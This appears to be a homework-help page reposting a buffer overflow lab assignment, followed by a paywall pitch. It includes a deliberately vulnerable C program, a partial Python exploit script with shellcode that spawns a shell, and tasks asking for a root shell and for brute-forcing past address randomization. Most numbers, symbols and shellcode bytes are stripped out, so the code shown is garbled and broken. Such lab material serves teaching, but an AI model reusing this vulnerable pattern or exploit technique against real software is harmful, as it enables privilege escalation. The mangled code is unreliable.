Answered step by step
Verified Expert Solution
Question
1 Approved Answer
/ * This program has a buffer overflow vulnerability. * / #include #include #include int foo ( char * str ) { char buffer [
This program has a buffer overflow vulnerability.
#include
#include
#include
int foochar str
char buffer;
The following statement has a buffer overflow problem
strcpybuffer str;
return ;
int mainint argc, char argv
char str;
FILE badfile;
badfile fopenbadfiler;
freadstr sizeofchar badfile;
foostr;
printfReturned Properly
;
return ;
Task :We provide you with a completed exploit code called exploitpy You need
to adjust the variables of the program accordingly and fill in any missing code to
fulfill the buffer overflow attack.
Notes on python, you don't need to compile a py file to run it Python is an
interpreted language, and you can run the scripts directly, either using:
python exploit.py
Or make your script executable by adding #usrbinpython to the top of the
script, making the file executable with "chmod ux exploit.py and then running:
exploitpy
The book utilizes the second version exploitpy
After you finish adjusting the above program, run it This will generate the contents
for badfile Then compile and run the vulnerable program "stack.c If your exploit
is implemented correctly, you should be able to get a shell:
$ id
uidseed gidseed groupsseed
Task: Find a way to obtain root shell read bookslides
you should get the following output:
VM# id
uidseed gidseed euidroot groupsseed
Task: On bit Linux machines, stacks only have bits of entropy, which means
the stack base address can have possibilities. This number is not
that high and can be exhausted easily with the bruteforce approach. In this task, we
use such an approach to defeat the address randomization countermeasure on our
bit VM First, we turn on the Ubuntus address randomization using the following
command:
sudo sbinsysctl w kernel.randomizevaspace
Then use the shell script in the book to figure out how to attack the vulnerable
program repeatedly.
To summarize, the lab goal is:
Task edit the given source code exploitpy so that the buffer overflow attack is
successful.
Task ensure the shell is running as root.
Task Defeat the Address Randomization applied by the operating system.
In your paper show and explain the following:
The adjusted code segments, and describe what changes you made and why.
How you obtained the needed addresses, show screenshots.
The screenshots of the successful buffer overflow attack.
How you made the shell run as root.
How you defeated Address Randomization, screenshot the exploit.py code : #usrbinpython
import sys
shellcode
xxc # xorl eax,eax
x # pushl eax
xsh # pushl $xff
xbin # pushl $xef
xxe # movl esp,ebx
x # pushl eax
x # pushl ebx
xxe # movl esp,ecx
x # cdq
xbxb # movb $xbal
xcdx # int $x
encodelatin
# Fill the content with NOPs
content bytearray
# Put the shellcode at the end
start
content shellcode
ret
contentrettobytesbyteorder'little'
# Write the content to a file
with openbadfilewb as f:
fwritecontent
Step by Step Solution
There are 3 Steps involved in it
Step: 1
Get Instant Access to Expert-Tailored Solutions
See step-by-step solutions with expert insights and AI powered tools for academic success
Step: 2
Step: 3
Ace Your Homework with AI
Get the answers you need in no time with our AI-driven, step-by-step assistance
Get Started